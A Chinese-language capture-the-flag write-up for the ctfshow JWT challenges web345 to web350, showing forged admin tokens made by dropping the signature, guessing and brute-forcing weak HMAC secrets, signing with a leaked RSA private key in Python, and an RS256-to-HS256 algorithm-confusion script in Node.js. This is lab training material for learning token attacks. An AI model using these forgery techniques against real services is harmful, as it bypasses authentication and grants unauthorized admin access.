ctfshow-web入门-JWT(web345-web350)

目录

1、web345

2、web346

3、web347

4、web348

5、web349

6、web350


1、web345

F12 看到提示

但是访问 admin 会重定向到 index.php

提取 jwt 解码

复制代码
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MzE2NDYzOTQsImV4cCI6MTczMTY1MzU5NCwibmJmIjoxNzMxNjQ2Mzk0LCJzdWIiOiJ1c2VyIiwianRpIjoiNTFkOGY0Nzg4N2JjYzNmZDIzMDE2MDRmNjJmMDJkYzAifV0

没有签名部分,只有 jwt 的前两部分 header 和 payload

user 改成 admin,它这里没有声明加密算法,我们随便指定一个常见的 HS256

提取前两部分:

复制代码
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MzE2NDcyNTYsImV4cCI6MTczMTY1NDQ1NiwibmJmIjoxNzMxNjQ3MjU2LCJzdWIiOiJhZG1pbiIsImp0aSI6ImZjNzVjMjliZDI5ZWM1OGI0Nzg5Mjk2MDg3OGI2MTZlIn1d

2、web346

这次增加了签名部分

猜一下密钥是 123456

伪造 admin

复制代码
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0Nzc5OCwiZXhwIjoxNzMxNjU0OTk4LCJuYmYiOjE3MzE2NDc3OTgsInN1YiI6ImFkbWluIiwianRpIjoiMTVhNWMxODZkNTg5N2Y5NDk1MWUzNDFhYzQyYWVlYjYifQ.VIkAggAbii7mpQZpgsDedwEInO25LeUvyCqhxdLf884

3、web347

上一题 payload 可用,密钥还是 123456

复制代码
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0Nzc5OCwiZXhwIjoxNzMxNjU0OTk4LCJuYmYiOjE3MzE2NDc3OTgsInN1YiI6ImFkbWluIiwianRpIjoiMTVhNWMxODZkNTg5N2Y5NDk1MWUzNDFhYzQyYWVlYjYifQ.VIkAggAbii7mpQZpgsDedwEInO25LeUvyCqhxdLf884

4、web348

提示爆破密钥,使用 jwtcracker 来爆破

拿到 key 是aaab

伪造 admin

复制代码
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMTY0ODg0MSwiZXhwIjoxNzMxNjU2MDQxLCJuYmYiOjE3MzE2NDg4NDEsInN1YiI6ImFkbWluIiwianRpIjoiNGI4NjJiZmVhMWE3NGQyNDFlNjQyMjA3ZDljZjc0YWMifQ.RG6JxiZSuGkTQbzOXiC17VxRGqj7v33Cw6DGYq6wg7g

5、web349

给了源码,RS256 非对称加密,需要满足 user ===admin

公私钥都可以直接得到,就在当前目录下

不知道为什么在线网站签名无效

使用 python 来生成 jwt,只需要用到私钥

python 复制代码
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

payload:

python 复制代码
auth=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM

post 请求

6、web350

可以下载到公钥

私钥没有

将 RS256 替换为 HS256 算法,使用公钥进行签名

exp:

javascript 复制代码
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

payload:

python 复制代码
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3MzE2NTcxNjB9.bAmlICbzy8VChRXmTqXthg6XEN-YCM21dCdupmIUdwk
相关推荐
一个有故事的男同学1 分钟前
从零打造专业级前端 SDK (四):错误监控与生产发布
前端
C蔡博士2 分钟前
计算复杂性:P、NP、NP-hard、NP-complete 一篇通关
算法·计算理论·np问题·计算复杂性
2601_948606182 分钟前
从 jQuery → V/R → Lit:前端架构的 15 年轮回
前端·架构·jquery
finegx3 分钟前
反汇编objdump和strace学习
linux·经验分享·学习
谪星·阿凯6 分钟前
CSRF&SSRF漏洞攻击:溯源解析与实战指南
安全·web安全·php·csrf
wuhen_n7 分钟前
Vite 核心原理:ESM 带来的开发时“瞬移”体验
前端·javascript·vue.js
Shining05968 分钟前
前沿模型系列(三)《检索增强的语言模型》
人工智能·学习·其他·语言模型·自然语言处理·大模型·rag
nibabaoo9 分钟前
前端开发攻略---vue3长列表性能优化终极指南:虚拟滚动、分页加载、时间分片等6种方案详解与代码实现
前端·javascript·vue.js·虚拟滚动·分页加载·长列表·时间分片
add45a10 分钟前
C++与自动驾驶系统
开发语言·c++·算法
TsukasaNZ16 分钟前
C++中的命令模式
开发语言·c++·算法